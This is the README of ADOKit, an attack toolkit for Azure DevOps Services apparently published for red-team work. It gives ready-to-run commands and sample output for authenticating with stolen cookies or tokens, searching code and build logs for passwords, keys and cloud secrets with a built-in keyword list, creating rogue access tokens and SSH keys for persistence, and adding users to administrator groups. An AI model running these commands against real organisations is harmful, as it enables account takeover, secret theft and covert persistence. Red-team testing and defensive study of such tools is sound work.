Awesome
ADOKit
Description
Azure DevOps Services Attack Toolkit - ADOKit is a toolkit that can be used to attack Azure DevOps Services by taking advantage of the available REST API. The tool allows the user to specify an attack module, along with specifying valid credentials (API key or stolen authentication cookie) for the respective Azure DevOps Services instance. The attack modules supported include reconnaissance, privilege escalation and persistence. ADOKit was built in a modular approach, so that new modules can be added in the future by the information security community.
Full details on the techniques used by ADOKit are in the X-Force Red whitepaper.
Black Hat USA Arsenal 2024
Presentation slides and demos are included in BHUSA Arsenal 2024 folder in this repository.
Release
- Version 1.3 of ADOKit can be found in Releases
Table of Contents
- ADOKit
- Table of Contents
- Installation/Building
- Command Modules
- Arguments/Options
- Authentication Options
- Module Details Table
- Examples
- Recon
- Validate Azure DevOps Access
- Whoami
- List Repos
- Search Repos
- List Projects
- Search Projects
- Search Code
- Search Files
- List Users
- Search User
- List Teams
- Search Team
- Get Team Members
- List Groups
- Search Groups
- Get Group Members
- Get Project Permissions
- Creds Search
- Get Build Logs
- List Build Logs
- Search Build Logs
- Persistence
- Privilege Escalation
- Add Project Admin
- Remove Project Admin
- Add Build Admin
- Remove Build Admin
- Add Collection Admin
- Remove Collection Admin
- Add Collection Build Admin
- Remove Collection Build Admin
- Add Collection Build Service Account
- Remove Collection Build Service Account
- Add Collection Service Account
- Remove Collection Service Account
- Get Pipeline Variables
- Get Pipeline Secrets
- Get Variable Groups
- Get Service Connections
- Recon
- Detection
- Roadmap
- References
Installation/Building
Libraries Used
The below 3rd party libraries are used in this project.
| Library | URL | License |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT License |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT License |
Pre-Compiled
- Use the pre-compiled binary in Releases
Building Yourself
Take the below steps to setup Visual Studio in order to compile the project yourself. This requires two .NET libraries that can be installed from the NuGet package manager.
- Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Go to "NuGet Package Manager" --> "Package Sources"
- Add a package source with the URL
https://api.nuget.org/v3/index.json - Install the Costura.Fody NuGet package.
Install-Package Costura.Fody -Version 3.3.3
- Install the Newtonsoft.Json package
Install-Package Newtonsoft.Json
- You can now build the project yourself!
Command Modules
- Recon
- <b>check</b> - Check whether organization uses Azure DevOps and if credentials are valid
- <b>whoami</b> - List the current user and its group memberships
- <b>listrepo</b> - List all repositories
- <b>searchrepo</b> - Search for given repository
- <b>listproject</b> - List all projects
- <b>searchproject</b> - Search for given project
- <b>searchcode</b> - Search for code containing a search term
- <b>searchfile</b> - Search for file based on a search term
- <b>listuser</b> - List users
- <b>searchuser</b> - Search for a given user
- <b>listteam</b> - List teams
- <b>searchteam</b> - Search for a given team
- <b>getteammembers</b> - Get team members for a given team
- <b>listgroup</b> - List groups
- <b>searchgroup</b> - Search for a given group
- <b>getgroupmembers</b> - List all group members for a given group
- <b>getpermissions</b> - Get the permissions for who has access to a given project
- <b>creds</b> - Search for credentials in code (keywords listed below)
"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
- <b>getbuildlogs</b> - Download the build logs for one or all projects
- <b>listbuildlogs</b> - List the build logs for one or all projects
- <b>searchbuildlogs</b> - Search build logs for a given search term
- Persistence
- <b>createpat</b> - Create personal access token for user
- <b>listpat</b> - List personal access tokens for user
- <b>removepat</b> - Remove personal access token for user
- <b>createsshkey</b> - Create public SSH key for user
- <b>listsshkey</b> - List public SSH keys for user
- <b>removesshkey</b> - Remove public SSH key for user
- Privilege Escalation
- <b>addprojectadmin</b> - Add a user to the "Project Administrators" for a given project
- <b>removeprojectadmin</b> - Remove a user from the "Project Administrators" group for a given project
- <b>addbuildadmin</b> - Add a user to the "Build Administrators" group for a given project
- <b>removebuildadmin</b> - Remove a user from the "Build Administrators" group for a given project
- <b>addcollectionadmin</b> - Add a user to the "Project Collection Administrators" group
- <b>removecollectionadmin</b> - Remove a user from the "Project Collection Administrators" group
- <b>addcollectionbuildadmin</b> - Add a user to the "Project Collection Build Administrators" group
- <b>removecollectionbuildadmin</b> - Remove a user from the "Project Collection Build Administrators" group
- <b>addcollectionbuildsvc</b> - Add a user to the "Project Collection Build Service Accounts" group
- <b>removecollectionbuildsvc</b> - Remove a user from the "Project Collection Build Service Accounts" group
- <b>addcollectionsvc</b> - Add a user to the "Project Collection Service Accounts" group
- <b>removecollectionsvc</b> - Remove a user from the "Project Collection Service Accounts" group
- <b>getpipelinevars</b> - Retrieve any pipeline variables used for a given project.
- <b>getpipelinesecrets</b> - Retrieve the names of any pipeline secrets used for a given project.
- <b>getvariablegroups</b> - Retrieve any variable groups and the corresponding variables used for a given project.
- <b>getserviceconnections</b> - Retrieve the service connections used for a given project.
Arguments/Options
- <b>/credential:</b> - credential for authentication (PAT or Cookie). Applicable to all modules.
- <b>/url:</b> - Azure DevOps URL. Applicable to all modules.
- <b>/search:</b> - Keyword to search for. Not applicable to all modules.
- <b>/project:</b> - Project to perform an action for. Not applicable to all modules.
- <b>/user:</b> - Perform an action against a specific user. Not applicable to all modules.
- <b>/id:</b> - Used with persistence modules to perform an action against a specific token ID. Not applicable to all modules.
- <b>/group:</b> - Perform an action against a specific group. Not applicable to all modules.
Authentication Options
Below are the authentication options you have with ADOKit when authenticating to an Azure DevOps instance.
- Stolen Cookie - UserAuthentication - This will be the
UserAuthenticationcookie on a user's machine for the.dev.azure.comdomain./credential:UserAuthentication=ABC123
- Stolen Cookie - AadAuthentication - This will be the
AadAuthenticationcookie on a user's machine for the.dev.azure.comdomain./credential:eyJ0...
- Personal Access Token (PAT) - This will be an access token/API key that will be a single string.
/credential:apiToken
- Stolen Access Token - If you can steal or refresh a suitable access token you can also use it. When using an access token, it must be valid for the resource of Azure Resource Manager (ARM) -
"aud":"https://management.core.windows.net/"/credential:eyJ0..
Module Details Table
The below table shows the permissions required for each module.
| Attack Scenario | Module | Special Permissions? | Notes |
|---|---|---|---|
| Recon | check | No | |
| Recon | whoami | No | |
| Recon | listrepo | No | |
| Recon | searchrepo | No | |
| Recon | listproject | No | |
| Recon | searchproject | No | |
| Recon | searchcode | No | |
| Recon | searchfile | No | |
| Recon | listuser | No | |
| Recon | searchuser | No | |
| Recon | listteam | No | |
| Recon | searchteam | No | |
| Recon | getteammembers | No | |
| Recon | listgroup | No | |
| Recon | searchgroup | No | |
| Recon | getgroupmembers | No | |
| Recon | getpermissions | No | |
| Recon | creds | No | |
| Recon | getbuildlogs | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Recon | listbuildlogs | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Recon | searchbuildlogs | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Persistence | createpat | No | |
| Persistence | listpat | No | |
| Persistence | removepat | No | |
| Persistence | createsshkey | No | |
| Persistence | listsshkey | No | |
| Persistence | removesshkey | No | |
| Privilege Escalation | addprojectadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removeprojectadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addbuildadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removebuildadmin | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionbuildadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionbuildadmin | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionbuildsvc | Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionbuildsvc | Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts | |
| Privilege Escalation | addcollectionsvc | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | removecollectionsvc | Yes - Project Collection Administrator or Project Collection Service Accounts | |
| Privilege Escalation | getpipelinevars | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Privilege Escalation | getpipelinesecrets | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Privilege Escalation | getvariablegroups | Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators | |
| Privilege Escalation | getserviceconnections | Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts |
Examples
Validate Azure DevOps Access
Use Case
Perform authentication check to ensure that organization is using Azure DevOps and that provided credentials are valid.
Syntax
Provide the check module, along with any relevant authentication information and URL. This will output whether the organization provided is using Azure DevOps, and if so, will attempt to validate the credentials provided.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: check
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
==================================================
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
Whoami
Use Case
Get the current user and the user's group memberhips
Syntax
Provide the whoami module, along with any relevant authentication information and URL. This will output the current user and all of its group memberhips.
ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | jsmith@YourOrganization.onmicrosoft.com
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
List Repos
Use Case
Discover repositories being used in Azure DevOps instance
Syntax
Provide the listrepo module, along with any relevant authentication information and URL. This will output the repository name and URL.
ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Search Repos
Use Case
Search for repositories by repository name in Azure DevOps instance
Syntax
Provide the searchrepo module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching repository name and URL.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
Example Output
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
List Projects
Use Case
Discover projects being used in Azure DevOps instance
Syntax
Provide the listproject module, along with any relevant authentication information and URL. This will output the project name, visibility (public or private) and URL.
ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Search Projects
Use Case
Search for projects by project name in Azure DevOps instance
Syntax
Provide the searchproject module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching project name, visibility (public or private) and URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
Example Output
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
Search Code
Use Case
Search for code containing a given keyword in Azure DevOps instance
Syntax
Provide the searchcode module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching code file, along with the line in the code that matched.
ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password
ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password
Example Output
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Search Files
Use Case
Search for files in repositories containing a given keyword in the file name in Azure DevOps
Syntax
Provide the searchfile module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
Example Output
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
Creds Search
Use Case
Search for code containing secrets such as passwords or API keys in Azure DevOps
Syntax
Provide the creds module, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository, and the matching line(s) where creds are present.
ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Get Build Logs
Use Case
Download the logs of all the pipeline runs (build logs). You can then search offline for information and/or secrets.
Syntax
Provide the getbuildlogs module along with a /project: for a given project to download all the build logs for this project. If you would like to download them for all projects, specify all in the /project: argument. This will create a folder of ADOKit-[random 8 chars] in your current working directory to download the logs to.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
Example Output
C:\>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: getbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:15:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
List Build Logs
Use Case
List the build logs available for a given project or all projects.
Syntax
Provide the listbuildlogs module along with a /project: for a given project to list all the build logs for this project. If you would like to list them for all projects, specify all in the /project: argument.
ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
Example Output
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Search Build Logs
Use Case
Search for build logs containing a given keyword in Azure DevOps instance
Syntax
Provide the searchbuildlogs module and your search criteria in the /search: command-line argument, along with a /project: for a given project to search all the build logs for this project. If you would like to search build logs for all projects, specify all in the /project: argument. This will output the URL to the matching build output log file, along with the line in the build log that matched.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
Example Output
C:\>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
==================================================
Module: searchbuildlogs
Auth Type: API Key
Search Term: password
Project: MaraudersMap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:06:20 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1
[>] Project: MaraudersMap
|_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7
[>] Project: MaraudersMap
|_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8
[>] Project: MaraudersMap
|_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
Create PAT
Use Case
Create a personal access token (PAT) for a user that can be used for persistence to an Azure DevOps instance.
Syntax
Provide the createpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, date valid til, and token content for the PAT created. The name of the PAT created will be ADOKit- followed by a random string of 8 characters. The date the PAT is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.
ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
List PATs
Use Case
List all personal access tokens (PAT's) for a given user in an Azure DevOps instance.
Syntax
Provide the listpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, and date valid til for all active PAT's for the user.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Example Output
C:\>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:17 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
Remove PAT
Use Case
Remove a PAT for a given user in an Azure DevOps instance.
Syntax
Provide the removepat module, along with any relevant authentication information and URL. Additionally, provide the ID for the PAT in the /id: argument. This will output whether the PAT was removed or not, and then will list the current active PAT's for the user after performing the removal.
ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
Example Output
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Create SSH Key
Use Case
Create an SSH key for a user that can be used for persistence to an Azure DevOps instance.
Syntax
Provide the createsshkey module, along with any relevant authentication information and URL. Additionally, provide your public SSH key in the /sshkey: argument. This will output the SSH key ID, name, scope, date valid til, and last 20 characters of the public SSH key for the SSH key created. The name of the SSH key created will be ADOKit- followed by a random string of 8 characters. The date the SSH key is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
Example Output
C:\>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
==================================================
Module: createsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 2:51:22 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
List SSH Keys
Use Case
List all public SSH keys for a given user in an Azure DevOps instance.
Syntax
Provide the listsshkey module, along with any relevant authentication information and URL. This will output the SSH Key ID, name, scope, and date valid til for all active SSH key's for the user. Additionally, it will print the last 20 characters of the public SSH key.
